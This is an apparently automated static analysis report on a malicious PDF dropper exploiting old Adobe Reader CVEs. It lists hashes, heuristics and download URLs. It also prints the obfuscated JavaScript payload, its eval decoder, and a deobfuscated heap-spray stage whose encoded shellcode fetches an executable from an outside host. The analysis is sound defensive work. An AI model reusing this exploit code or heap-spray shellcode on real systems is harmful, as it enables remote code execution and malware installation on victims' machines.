Malicious PDF — malware analysis report

Static analysis result for SHA-256 63670be53b44fb06…

MALICIOUS

PDF

7.1 KB Created: 2009-09-12 19:47:41 Authoring application: Eblasha 10.10.5.5 (via PDF Library 1.5.10.2) First seen: 2013-08-20
MD5: 9dd4769e38d9dfecc680532c0c1cb5fa SHA-1: 07a35ff92a516d5e613a0f74a8264b98f66f5c33 SHA-256: 63670be53b44fb06bfbfe15581ae2b1cb51c3ad01e8f92b92b0623579ad846e2
606 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits multiple CVEs in Adobe Reader (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). The JavaScript is designed to download and execute a second-stage payload from one of the provided URLs. The primary function of the script is to facilitate the download and execution of an executable file, indicating a dropper or downloader functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-1828765 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-1828765
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var hkl=0, abghsx='';hkl<5322;hkl++){abghsx += String.fromCharCode(fra[hkl]-'uzPlKnd'.substring(hkl%'uzPlKnd'.length,hkl%'uzPlKnd'.length+1).charCodeAt(0));}eval(abghsx);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sockslab.net/2/bmnqrsuvx3.exe Referenced by PDF JavaScript
    • http://sockslab.net/2/bejqruxy3.exeReferenced by PDF JavaScript
    • http://sockslab.net/2/bcgqrsv3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21294 bytes
SHA-256: 95b7ebde6e0a3a2bd53674e0ef6581498cc9144c40c7ac74f10bb45f0ab30494
Preview script
First 1,000 lines of the extracted script
var fra=[219,239,190,207,191,215,211,227,154,182,213,195,205,205,233,162,201,205,189,225,212,161,230,181,218,116,233,219,221,227,188,209,115,231,197,231,237,192,154,183,211,210,220,238,184,150,125,170,208,218,232,121,231,196,207,214,232,234,123,169,196,207,214,232,234,139,233,85,231,197,231,237,192,169,196,207,214,232,234,126,223,192,208,215,233,236,185,218,178,150,148,161,230,181,218,122,160,141,176,236,181,224,192,224,210,149,243,177,222,190,222,159,242,132,182,225,185,209,216,222,233,190,140,192,226,205,225,217,192,222,180,220,216,219,162,121,231,193,207,214,149,234,177,229,183,221,197,217,183,197,218,176,225,199,214,234,181,148,109,147,217,171,174,137,156,112,227,149,173,187,129,145,192,158,148,165,170,117,225,131,176,148,165,159,197,159,123,162,148,154,239,132,156,131,176,137,234,178,146,161,127,147,217,165,174,132,156,112,227,152,165,178,146,145,192,166,166,165,174,117,225,123,162,152,165,159,197,158,123,158,168,154,239,130,156,123,158,137,234,173,148,156,123,147,217,165,170,135,175,112,227,148,165,177,135,145,192,158,149,172,174,117,225,126,161,167,168,159,197,162,127,177,148,154,239,132,156,131,176,137,234,177,136,159,123,147,217,173,188,128,175,112,227,148,184,174,128,145,192,165,148,173,188,117,225,140,178,149,184,159,197,161,131,166,166,154,239,149,174,123,166,137,234,178,146,156,132,147,217,168,174,132,156,112,227,152,165,178,148,145,192,166,166,172,189,117,225,126,177,153,173,159,197,160,127,164,165,154,239,148,157,128,175,137,234,172,146,177,125,147,217,173,188,149,158,112,227,169,183,191,147,145,192,163,165,169,192,117,225,131,161,153,167,159,197,161,129,179,165,154,239,133,161,131,167,137,234,175,134,156,127,147,217,173,188,133,163,112,227,151,184,177,131,145,192,165,152,173,188,117,225,130,166,151,168,159,197,178,126,158,151,154,239,136,174,128,164,137,234,172,128,163,129,147,217,187,173,128,159,112,227,167,174,173,131,145,192,163,148,169,179,117,225,140,178,152,166,159,197,178,145,161,151,154,239,128,178,126,164,137,234,171,132,174,144,147,217,168,178,128,159,112,227,155,169,192,130,145,192,177,149,165,178,117,225,123,178,167,187,159,197,178,140,158,151,154,239,149,174,127,158,137,234,175,136,177,145,147,217,187,178,131,174,112,227,169,170,177,133,145,192,166,166,170,191,117,225,125,162,152,171,159,197,175,126,158,151,154,239,136,174,129,164,137,234,174,136,156,142,147,217,170,176,136,174,112,227,148,168,171,147,145,192,166,166,185,173,117,225,131,175,148,169,159,197,175,126,158,151,154,239,133,177,128,180,137,234,189,131,161,123,147,217,172,190,136,176,112,227,153,172,170,136,145,192,176,156,170,172,117,225,142,175,151,168,159,197,161,141,166,165,154,239,145,158,144,166,137,234,192,150,178,145,147,217,168,172,150,178,112,227,156,183,189,128,145,192,180,150,187,177,117,225,127,180,165,186,159,197,163,128,176,156,154,239,134,161,125,179,137,234,187,146,163,131,147,217,174,178,134,162,112,227,165,183,176,134,145,192,177,148,168,173,117,225,129,159,166,173,159,197,156,123,164,152,154,239,133,156,123,158,137,234,175,132,162,131,147,217,172,172,134,164,112,227,151,170,176,133,145,192,159,167,167,174,117,225,130,162,154,174,159,197,161,127,163,148,154,239,146,164,128,161,137,234,192,147,173,140,147,217,172,189,128,176,112,227,153,170,192,150,145,192,166,166,165,174,117,225,131,161,170,173,159,197,156,142,177,152,154,239,134,175,141,158,137,234,191,128,164,140,147,217,170,170,137,164,112,227,154,187,176,136,145,192,160,169,171,191,117,225,129,166,154,169,159,197,163,125,165,153,154,239,134,176,129,177,137,234,188,136,161,127,147,217,169,191,136,177,112,227,169,184,170,149,145,192,163,153,187,192,117,225,132,161,148,169,159,197,159,126,163,148,154,239,133,156,142,158,137,234,175,134,161,123,147,217,170,175,136,174,112,227,156,168,170,132,145,192,165,170,184,172,117,225,142,160,156,168,159,197,161,125,162,167,154,239,146,164,128,158,137,234,171,145,159,129,147,217,172,170,130,178,112,227,153,170,192,150,145,192,163,166,165,174,117,225,128,164,153,172,159,197,165,131,176,156,154,239,136,173,145,179,137,234,192,150,156,144,147,217,165,174,133,161,112,227,148,165,176,145,145,192,178,155,187,192,117,225,130,162,154,173,159,197,163,123,165,152,154,239,130,178,126,175,137,234,177,131,158,145,147,217,171,173,134,178,112,227,155,168,176,146,145,192,164,149,171,189,117,225,125,179,154,167,159,197,162,128,164,169,154,239,130,178,130,162,137,234,172,150,159,125,147,217,171,190,134,158,112,227,155,166,176,149,145,192,165,151,172,172,117,225,130,164,155,170,159,197,159,126,165,156,154,239,134,161,125,179,137,234,176,133,163,131,147,217,165,170,128,156,109,151,159,235,219,194,140,185,221,212,178,239,190,209,190,209,197,229,223,120,142,112,227,148,182,170,145,145,192,158,165,165,187,117,225,123,175,148,182,159,197,156,140,158,165,151,163,90,226,172,224,132,221,223,177,220,173,218,211,216,229,141,218,186,222,143,229,219,201,216,186,207,200,176,240,177,222,107,208,205,220,220,188,219,174,217,161,234,232,181,223,174,207,212,218,162,114,145,192,158,165,165,187,117,225,123,175,148,182,156,121,167,193,207,214,149,226,181,205,175,211,214,232,227,202,209,136,160,148,176,240,177,222,107,225,212,231,219,201,169,179,211,197,217,223,194,223,180,232,201,160,226,181,205,187,208,208,228,221,187,154,183,211,210,220,238,184,167,194,214,205,225,223,120,206,180,213,198,225,233,179,215,121,218,201,227,225,196,212,135,225,212,231,219,201,149,198,208,205,220,220,188,219,174,217,143,178,220,185,211,173,218,211,216,229,139,233,85,228,197,231,154,182,213,183,218,198,225,233,179,215,136,208,205,220,220,188,219,174,217,146,232,239,178,223,191,224,205,227,225,120,156,119,225,212,231,219,201,149,134,228,197,231,154,178,216,186,209,207,178,220,185,211,173,218,211,216,229,126,223,192,208,215,233,236,185,218,178,150,148,161,220,185,211,173,218,211,216,229,126,216,176,220,203,233,226,125,223,187,224,197,238,163,139,227,179,215,208,218,162,178,216,186,209,207,163,230,181,218,178,226,204,160,237,192,222,172,231,160,165,242,132,156,123,158,148,158,245,178,216,186,209,207,178,220,188,219,174,217,143,215,230,191,207,182,153,202,222,230,188,206,183,221,199,224,181,205,118,193,207,214,149,231,181,217,170,207,214,231,219,201,169,185,211,219,149,187,194,222,172,231,140,158,181,182,219,189,150,218,214,236,112,213,136,158,159,222,182,129,160,123,158,159,222,165,123,149,198,219,201,226,217,177,222,189,207,221,208,227,173,169,173,218,211,216,229,123,212,176,207,212,215,230,191,207,182,169,225,127,240,177,222,107,220,217,226,183,129,158,132,167,157,174,179,137,165,132,167,157,174,179,137,165,132,167,157,174,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,134,227,216,222,230,126,220,189,215,210,233,224,120,142,112,162,153,165,170,128,210,109,154,210,234,231,121,167,200,120,202,234,232,179,224,180,221,210,149,221,191,216,183,207,198,212,223,189,205,180,218,140,158,245,198,205,189,142,215,221,223,188,216,174,221,200,218,183,197,218,176,225,199,214,234,181,148,109,147,217,171,174,137,156,112,227,149,173,187,129,145,192,158,148,165,170,117,225,131,176,148,165,159,197,159,123,162,148,154,239,132,156,131,176,137,234,178,146,161,127,147,217,165,174,132,156,112,227,152,165,178,146,145,192,166,166,165,174,117,225,123,162,152,165,159,197,158,123,158,168,154,239,130,156,123,158,137,234,173,148,156,123,147,217,165,170,135,175,112,227,148,165,177,135,145,192,158,149,172,174,117,225,126,161,167,168,159,197,162,127,177,148,154,239,132,156,131,176,137,234,177,136,159,123,147,217,173,188,128,175,112,227,148,184,174,128,145,192,165,148,173,188,117,225,140,178,149,184,159,197,161,131,166,166,154,239,149,174,123,166,137,234,178,146,156,132,147,217,168,174,132,156,112,227,152,165,178,148,145,192,166,166,172,189,117,225,126,177,153,173,159,197,160,127,164,165,154,239,148,157,128,175,137,234,172,146,177,125,147,217,173,188,149,158,112,227,169,183,191,147,145,192,163,165,169,192,117,225,131,161,153,167,159,197,161,129,179,165,154,239,133,161,131,167,137,234,175,134,156,127,147,217,173,188,133,163,112,227,151,184,177,131,145,192,165,152,173,188,117,225,130,166,151,168,159,197,178,126,158,151,154,239,136,174,128,164,137,234,172,128,163,129,147,217,187,173,128,159,112,227,167,174,173,131,145,192,163,148,169,179,117,225,140,178,152,166,159,197,178,145,161,151,154,239,128,178,126,164,137,234,171,132,174,144,147,217,168,178,128,159,112,227,155,169,192,130,145,192,177,149,165,178,117,225,123,178,167,187,159,197,178,140,158,151,154,239,149,174,127,158,137,234,175,136,177,145,147,217,187,178,131,174,112,227,169,170,177,133,145,192,166,166,170,191,117,225,125,162,152,171,159,197,175,126,158,151,154,239,136,174,129,164,137,234,174,136,156,142,147,217,170,176,136,174,112,227,148,168,171,147,145,192,166,166,185,173,117,225,131,175,148,169,159,197,175,126,158,151,154,239,133,177,128,180,137,234,189,131,161,123,147,217,172,190,136,176,112,227,153,172,170,136,145,192,176,156,170,172,117,225,142,175,151,168,159,197,161,141,166,165,154,239,145,158,144,166,137,234,192,150,178,145,147,217,168,172,150,178,112,227,156,183,189,128,145,192,180,150,187,177,117,225,127,180,165,186,159,197,163,128,176,156,154,239,134,161,125,179,137,234,187,146,163,131,147,217,174,178,134,162,112,227,165,183,176,134,145,192,177,148,168,173,117,225,129,159,166,173,159,197,156,123,164,152,154,239,133,156,123,158,137,234,175,132,162,131,147,217,172,172,134,164,112,227,151,170,176,133,145,192,159,167,167,174,117,225,130,162,154,174,159,197,161,127,163,148,154,239,146,164,128,161,137,234,192,147,173,140,147,217,172,189,128,176,112,227,153,170,192,150,145,192,166,166,165,174,117,225,131,161,170,173,159,197,156,142,177,152,154,239,134,175,141,158,137,234,191,128,164,140,147,217,170,170,137,164,112,227,154,187,176,136,145,192,160,169,171,191,117,225,129,166,154,169,159,197,163,125,165,153,154,239,134,176,129,177,137,234,188,136,161,127,147,217,169,191,136,177,112,227,169,184,170,149,145,192,163,153,187,192,117,225,132,161,148,169,159,197,159,126,163,148,154,239,133,156,142,158,137,234,175,134,161,123,147,217,170,175,136,174,112,227,156,168,170,132,145,192,165,170,184,172,117,225,142,160,156,168,159,197,161,125,162,167,154,239,146,164,128,158,137,234,171,145,159,129,147,217,172,170,130,178,112,227,153,170,192,150,145,192,163,166,165,174,117,225,128,164,153,172,159,197,165,131,176,156,154,239,136,173,145,179,137,234,192,150,156,144,147,217,165,174,133,161,112,227,148,165,176,145,145,192,178,155,187,192,117,225,130,162,154,173,159,197,163,123,165,152,154,239,130,178,126,175,137,234,177,131,158,145,147,217,171,173,134,178,112,227,155,168,176,146,145,192,164,149,171,189,117,225,125,179,154,167,159,197,162,128,164,169,154,239,130,178,130,162,137,234,172,150,159,125,147,217,171,175,134,158,112,227,155,166,176,145,145,192,165,153,172,172,117,225,130,167,155,173,159,197,158,144,161,151,154,239,135,164,129,163,137,234,170,128,162,128,144,141,176,240,177,222,107,219,201,226,217,177,222,189,207,221,178,232,181,227,107,175,214,231,219,201,148,116,169,218,214,236,112,207,174,171,148,237,170,179,156,174,158,199,165,221,139,226,172,224,132,214,222,180,222,136,158,220,169,170,128,156,123,158,159,235,219,194,140,190,209,195,225,223,190,169,190,214,201,225,230,179,219,175,211,146,225,223,190,211,191,214,142,167,181,198,205,189,142,208,218,232,141,205,175,210,214,162,162,195,207,170,218,201,227,165,128,228,126,166,141,176,240,177,222,107,231,197,231,237,192,169,192,220,201,232,221,177,220,176,150,134,154,239,137,156,132,158,137,234,179,128,165,123,144,141,176,243,177,222,190,222,161,219,227,200,203,180,226,140,238,219,194,223,187,154,208,218,232,121,167,193,207,214,149,221,191,225,185,226,150,178,162,179,207,120,158,220,169,170,128,156,123,158,141,164,219,180,208,189,169,202,228,236,120,226,172,224,132,216,233,197,218,191,171,148,176,221,191,225,185,226,160,216,233,197,218,191,160,159,216,233,197,218,191,153,143,158,245,189,209,184,205,197,231,236,177,229,166,209,211,234,232,196,201,136,231,197,231,237,192,151,190,214,201,225,230,179,219,175,211,159,242,132,198,205,189,142,211,235,223,194,210,183,221,219,178,239,190,209,190,209,197,229,223,120,142,112,227,148,216,170,179,145,192,158,199,165,221,114,149,134,229,204,222,230,181,148,186,228,201,231,224,188,219,194,156,208,218,232,183,224,179,170,152,169,179,133,158,116,233,211,235,223,194,210,183,221,219,160,183,191,226,176,224,202,225,233,199,167,200,120,216,221,227,195,154,174,221,208,225,219,178,191,191,221,214,218,183,147,219,183,218,197,215,168,179,219,183,218,201,216,238,149,217,172,215,208,190,232,182,219,115,233,215,234,220,186,166,109,144,144,226,237,183,166,186,228,201,231,224,188,219,194,235,141,176,247,90,210,192,220,199,233,227,191,218,107,209,211,225,230,177,206,170,213,201,233,227,179,219,185,150,141,240,227,182,148,172,222,212,163,222,191,207,121,177,211,225,230,177,206,121,213,201,233,195,179,219,185,151,223,235,219,194,140,172,224,214,238,183,190,209,194,142,165,231,236,177,229,115,151,159,235,219,194,140,193,228,212,218,238,184,229,172,171,217,227,223,195,207,172,222,201,157,156,117,225,129,162,157,165,159,197,157,131,175,149,154,239,128,156,123,158,137,234,178,146,156,123,147,217,168,170,132,156,112,227,152,165,178,146,145,192,166,166,170,174,117,225,123,162,152,165,159,197,160,123,166,166,154,239,136,174,123,162,137,234,170,132,160,123,147,217,167,170,128,176,112,227,150,165,170,128,145,192,161,168,165,170,117,225,123,158,155,184,159,197,156,123,165,155,154,239,128,157,130,162,137,234,173,131,175,126,147,217,171,174,147,156,112,227,152,165,178,146,145,192,165,156,168,170,117,225,131,176,148,184,159,197,156,142,162,148,154,239,135,156,131,176,137,234,187,148,157,142,147,217,170,178,136,174,112,227,169,183,170,136,145,192,166,166,165,179,117,225,126,162,152,165,159,197,160,123,166,168,154,239,136,174,130,177,137,234,173,147,161,131,147,217,169,174,134,173,112,227,168,166,175,145,145,192,160,166,186,172,117,225,131,176,169,167,159,197,177,141,179,167,154,239,133,173,127,180,137,234,178,131,161,125,147,217,170,176,149,173,112,227,153,170,178,137,145,192,163,154,165,174,117,225,131,176,153,172,159,197,159,142,165,151,154,239,135,160,131,176,137,234,177,136,159,126,147,217,187,173,128,159,112,227,156,183,175,134,145,192,160,148,172,176,117,225,145,161,148,168,159,197,175,132,161,151,154,239,133,156,127,167,137,234,187,148,160,124,147,217,187,192,131,159,112,227,148,187,173,134,145,192,159,152,183,191,117,225,126,166,148,168,159,197,163,127,180,150,154,239,147,157,123,166,137,234,170,148,175,145,147,217,187,187,128,159,112,227,169,183,174,128,145,192,163,156,186,192,117,225,145,166,151,183,159,197,177,128,165,153,154,239,136,174,128,179,137,234,172,132,160,129,147,217,184,173,128,159,112,227,156,183,176,134,145,192,162,156,165,189,117,225,128,164,156,183,159,197,156,126,159,167,154,239,136,174,143,161,137,234,178,145,156,127,147,217,184,173,128,159,112,227,153,186,175,150,145,192,177,151,170,170,117,225,130,178,156,185,159,197,161,130,158,156,154,239,146,164,128,160,137,234,189,145,159,126,147,217,170,188,136,173,112,227,165,167,191,136,145,192,180,170,187,192,117,225,126,160,170,187,159,197,164,141,177,148,154,239,150,158,145,165,137,234,174,150,173,144,147,217,172,175,146,164,112,227,154,170,172,149,145,192,175,166,172,178,117,225,132,166,154,171,159,197,173,141,164,154,154,239,147,156,126,161,137,234,176,129,174,131,147,217,165,170,134,160,112,227,153,165,170,128,145,192,163,152,171,178,117,225,130,160,154,173,159,197,159,128,164,153,154,239,129,175,125,162,137,234,177,132,162,132,147,217,170,174,133,156,112,227,166,173,175,131,145,192,180,167,182,187,117,225,130,177,148,185,159,197,161,128,180,170,154,239,136,174,123,162,137,234,178,131,178,131,147,217,165,189,147,160,112,227,154,184,188,128,145,192,179,148,173,187,117,225,128,158,157,173,159,197,162,145,164,156,154,239,130,177,129,179,137,234,176,136,162,127,147,217,172,172,135,161,112,227,154,185,176,147,145,192,176,156,170,174,117,225,127,179,156,186,159,197,177,142,158,169,154,239,133,161,145,180,137,234,179,131,156,127,147,217,168,173,133,156,112,227,153,165,189,128,145,192,163,154,170,170,117,225,128,163,156,183,159,197,164,126,158,152,154,239,135,178,142,160,137,234,189,130,164,126,147,217,170,172,132,175,112,227,166,173,175,128,145,192,159,165,168,176,117,225,130,158,150,187,159,197,161,128,180,170,154,239,133,174,123,162,137,234,175,134,161,130,147,217,174,178,146,164,112,227,156,182,192,149,145,192,180,170,165,191,117,225,123,162,153,170,159,197,156,123,164,165,154,239,148,163,145,180,137,234,177,132,162,131,147,217,172,170,135,160,112,227,150,187,173,145,145,192,165,151,167,192,117,225,129,161,154,187,159,197,163,126,164,166,154,239,134,157,129,177,137,234,172,149,162,125,147,217,171,175,134,177,112,227,150,187,177,132,145,192,160,170,168,172,117,225,129,161,154,167,159,197,163,124,164,155,154,239,135,159,130,160,137,234,173,131,163,129,147,217,171,175,130,177,112,227,154,170,177,136,145,192,158,148,165,170,114,149,134,228,197,231,154,184,195,188,163,148,165,189,158,169,193,228,212,218,238,184,229,172,156,208,218,232,183,224,179,152,150,176,240,177,222,107,218,201,227,183,128,228,127,158,148,165,170,128,153,115,214,187,230,175,128,156,142,188,143,165,242,131,164,116,169,218,214,236,112,229,172,224,215,229,183,197,218,176,225,199,214,234,181,148,109,147,217,174,170,137,156,112,227,157,165,179,128,142,116,169,221,214,236,195,220,136,212,205,237,217,185,224,115,231,197,231,237,192,152,183,211,210,158,181,198,205,189,142,212,170,187,186,183,129,163,202,178,162,128,228,123,209,148,216,170,179,156,174,155,148,237,174,128,156,123,158,148,158,169,128,228,127,158,148,165,170,128,167,177,221,214,157,240,177,222,107,228,213,216,203,148,165,129,231,161,165,181,198,221,174,191,168,174,176,201,168,187,163,165,223,197,134,161,177,169,218,230,221,161,176,132,164,221,160,165,121,231,172,224,214,238,213,198,221,174,191,168,174,176,201,201,136,231,197,231,237,192,151,193,228,212,218,238,184,229,172,169,225,127,240,177,222,107,226,185,194,226,158,206,146,229,161,234,232,181,223,174,207,212,218,162,114,145,123,167,134,158,181,199,212,180,218,201,157,238,165,185,179,188,198,188,241,126,216,176,220,203,233,226,140,156,195,162,148,165,170,121,231,191,195,177,221,200,178,179,194,153,161,233,207,157,212,153,208,171,236,181,205,118,191,195,177,221,200,178,179,194,171,134,195,168,114,151,191,195,177,221,200,178,179,194,169,197,229,234,126,208,186,209,146,184,233,188,216,172,208,146,220,223,196,181,174,221,210,157,238,165,185,179,188,198,188,241,121,167,200,235,110,219,239,190,207,191,215,211,227,154,192,208,177,205,215,233,219,194,224,115,151,223,235,219,194,140,193,211,214,232,227,191,218,136,207,212,229,168,198,213,176,229,201,231,208,181,222,190,215,211,227,168,196,219,158,226,214,222,232,183,148,116,169,218,218,236,195,213,186,220,161,235,223,194,223,180,221,210,163,236,181,220,183,207,199,218,162,127,200,143,157,203,161,161,119,149,134,228,197,231,154,198,205,189,225,205,228,232,175,205,189,224,197,238,183,190,209,194,142,165,231,236,177,229,115,228,201,231,237,185,219,185,156,199,221,219,194,173,191,150,148,158,166,198,209,189,225,205,228,232,126,207,179,207,214,182,238,120,157,116,154,218,218,236,195,213,186,220,146,216,226,177,222,140,226,140,167,163,121,167,180,212,140,157,240,177,222,190,215,211,227,217,177,222,189,207,221,208,170,173,169,136,166,141,155,160,120,226,172,224,215,222,233,190,203,172,224,214,214,243,171,157,168,171,161,165,163,204,232,115,228,197,231,237,185,219,185,205,197,231,236,177,229,166,159,193,178,183,129,146,113,228,197,231,237,185,219,185,205,197,231,236,177,229,166,160,193,177,173,121,149,198,227,216,222,230,175,220,189,215,210,233,224,120,149,134,235,110,222,224,120,148,193,207,214,232,227,191,218,170,207,214,231,219,201,199,123,203,160,173,163,204,232,115,228,197,231,237,185,219,185,205,197,231,236,177,229,166,158,193,178,183,136,146,113,228,197,231,237,185,219,185,205,197,231,236,177,229,166,159,193,177,172,118,146,193,207,214,232,227,191,218,170,207,214,231,219,201,199,125,203,160,167,163,121,231,174,221,208,225,219,178,203,176,219,197,222,230,120,149,134,235,110,222,224,120,148,193,207,214,232,227,191,218,170,207,214,231,219,201,199,123,203,160,174,163,204,232,115,228,197,231,237,185,219,185,205,197,231,236,177,229,166,158,193,178,183,137,146,113,228,197,231,237,185,219,185,205,197,231,236,177,229,166,159,193,177,171,121,149,198,209,211,225,230,177,206,170,213,201,233,227,179,219,185,150,141,176,247,205,118,187,210,202,212,237,196,205,189,226,140,158,181];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1829 175 bytes
SHA-256: 8500eca4f711ba4c3a76ad730ff67f807c6658536415825908bc6f7c791e16ba
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var hkl=0, abghsx='';hkl<5322;hkl++){abghsx += String.fromCharCode(fra[hkl]-'uzPlKnd'.substring(hkl%'uzPlKnd'.length,hkl%'uzPlKnd'.length+1).charCodeAt(0));}eval(abghsx);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5322 bytes
SHA-256: 2cb67d3a21a7177e0957496f4ee3e308fe6434eeba9fa933262dfaa4ee163b37
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6D62%u716E%u7372%u7675%u3378%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
